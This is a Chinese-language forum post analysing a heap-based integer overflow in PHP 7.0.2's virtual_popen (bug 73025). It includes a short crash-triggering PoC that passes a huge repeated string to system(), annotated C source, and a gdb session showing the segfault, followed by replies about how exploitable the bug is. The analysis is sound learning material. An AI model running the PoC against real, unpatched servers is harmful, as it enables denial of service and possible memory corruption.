首页
社区
课程
招聘
[原创]PHP 7 漏洞挖掘系列之二:Heap-based integer overflow
2017-4-12 09:23 6510

[原创]PHP 7 漏洞挖掘系列之二:Heap-based integer overflow

2017-4-12 09:23
6510

0x01 前言

这个漏洞是玄武实验室的人挖出来的,我这边做一下分享吧。我们不是漏洞挖掘者,只是漏洞搬运者。好了,进入正题吧,这篇文章主要讲述的是基于堆的整数溢出,找了好久终于找到一个比较简单易懂的漏洞进行分析。

0x02 漏洞分析

首先放poc:

<?php
    ini_set('memory_limit', -1);
    $cmd = str_repeat("/", 0xfffffff0);
    system($cmd);

这段代码看起来非常简单,假如内存不够的话,运行这段代码会报out of memory错误,poc中的system函数可以替换其它命令执行函数,只要是调用了virtual_popen这个函数就可以。下面先看关键代码:

#else /* Unix */
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
	int command_length;  //int型的长度在32位中为0x7fffffff
	int dir_length, extra = 0;
	char *command_line;
	char *ptr, *dir;
	FILE *retval;
	command_length = strlen(command);  //这里统计命令的字符串长度,
	dir_length = CWDG(cwd).cwd_length; 
	dir = CWDG(cwd).cwd;
	while (dir_length > 0) {
		if (*dir == '\'') extra+=3;
		dir++;
		dir_length--;
	}
	dir_length = CWDG(cwd).cwd_length;//脚本路径的长度
	dir = CWDG(cwd).cwd;
	ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);  //这边变成了emalloc(0),等会看调试信息
	if (!command_line) {
		return NULL;
	}
	memcpy(ptr, "cd ", sizeof("cd ")-1);
	ptr += sizeof("cd ")-1;
	if (CWDG(cwd).cwd_length == 0) {
		*ptr++ = DEFAULT_SLASH;
	} else {
		*ptr++ = '\'';
		while (dir_length > 0) {
			switch (*dir) {
			case '\'':
				*ptr++ = '\'';
				*ptr++ = '\\';
				*ptr++ = '\'';
				/* fall-through */
			default:
				*ptr++ = *dir;
			}
			dir++;
			dir_length--;
		}
		*ptr++ = '\'';
	}
	*ptr++ = ' ';
	*ptr++ = ';';
	*ptr++ = ' ';
	memcpy(ptr, command, command_length+1);  //这里在转换的时候负数变成正数,大于申请的堆空间,所以复制后造成溢出
	retval = popen(command_line, type);
	efree(command_line);
	return retval;
}

这段代码在zend_virtual_cwd.c的1853行,可以看出是unix环境使用的函数。这个函数是执行命令的底层调用函数,具体我就不往上找了麻烦,从代码中就可以大致看的出来。php执行命令的函数还是挺多的,我就不列举了,在poc中我用的是system函数。具体原因请看代码注释。

如果这样还不明白的话,可以看gdb调试信息:

root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php 
Reading symbols from php-7.0.2/sapi/cli/php...done.
(gdb) b zend_virtual_cwd.c:1873
Breakpoint 1 at 0x84d8b4: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1873.
(gdb) b zend_virtual_cwd.c:1904
Breakpoint 2 at 0x84d979: file /root/php-7.0.2/Zend/zend_virtual_cwd.c, line 1904.
(gdb) r
Starting program: /root/php-7.0.2/sapi/cli/php -n test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, virtual_popen (
    command=command@entry=0x7ffef1200018 '/' <repeats 200 times>..., 
    type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1873
1873		ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
(gdb) p command_length
$1 = -16
(gdb) p sizeof("cd '' ; ")
$2 = 9
(gdb) p dir_length
$3 = 5
(gdb) p extra
$4 = 0    //可以看到这边加起来为0,其实这样比较容易理解。
(gdb) c
Continuing.
Breakpoint 2, virtual_popen (
    command=command@entry=0x7ffef1200018 '/' <repeats 200 times>..., 
    type=type@entry=0xae66bb "r") at /root/php-7.0.2/Zend/zend_virtual_cwd.c:1904
1904		memcpy(ptr, command, command_length+1);
(gdb) p command_length+1
$5 = -15
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
152	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

我想看到这里也看明白了,正是因为command_length的类型为int,后面再malloc和memcpy中又转化size_t类型,然后造成整数溢出。这个漏洞我感觉是最容易理解。exp我现在还不咋会写,等后续可能会学习一下怎么在实际漏洞中的编写。容我吹个牛逼,要不是有人先发现了,我觉的这个漏洞发现者会是。。。

0x03 小结

虽然这篇文章我老早就写好了,但是到现在还没明白,关于php的内存管理机制,不过本文不用理解那些东西,到后面的UAF就需要有很深的了解,所以到现在我还没明白php的UAF的原理与利用。欢迎加我QQ 499671216一起讨论。如果本章内容讲解错误,欢迎指出。

参考链接:

https://bugs.php.net/bug.php?id=73025


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 1080
活跃值: (150)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
axiuno 2017-4-12 10:59
2
0
感觉这个漏洞利用比较困难
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-4-12 11:05
3
0
axiuno 感觉这个漏洞利用比较困难
是的,大都数的漏洞基本上都是本地提权的,很少能够远程利用。
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-7-13 14:51
4
0
看兄弟的博客 挖到不少php的漏洞呀 都是fuzz出来的吗?
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-7-14 13:55
5
0
shuozhang 看兄弟的博客 挖到不少php的漏洞呀 都是fuzz出来的吗?
没fuzz出来,人工挖掘
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-7-14 14:13
6
0
hackyzh 没fuzz出来,人工挖掘
  人工定位有问题的函数    一点一点分析?
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-7-14 22:06
7
0
shuozhang [em_14] 人工定位有问题的函数 一点一点分析?
是啊,差不多是这样,有时候懒得分析的话,就直接尝试测试函数
游客
登录 | 注册 方可回帖
返回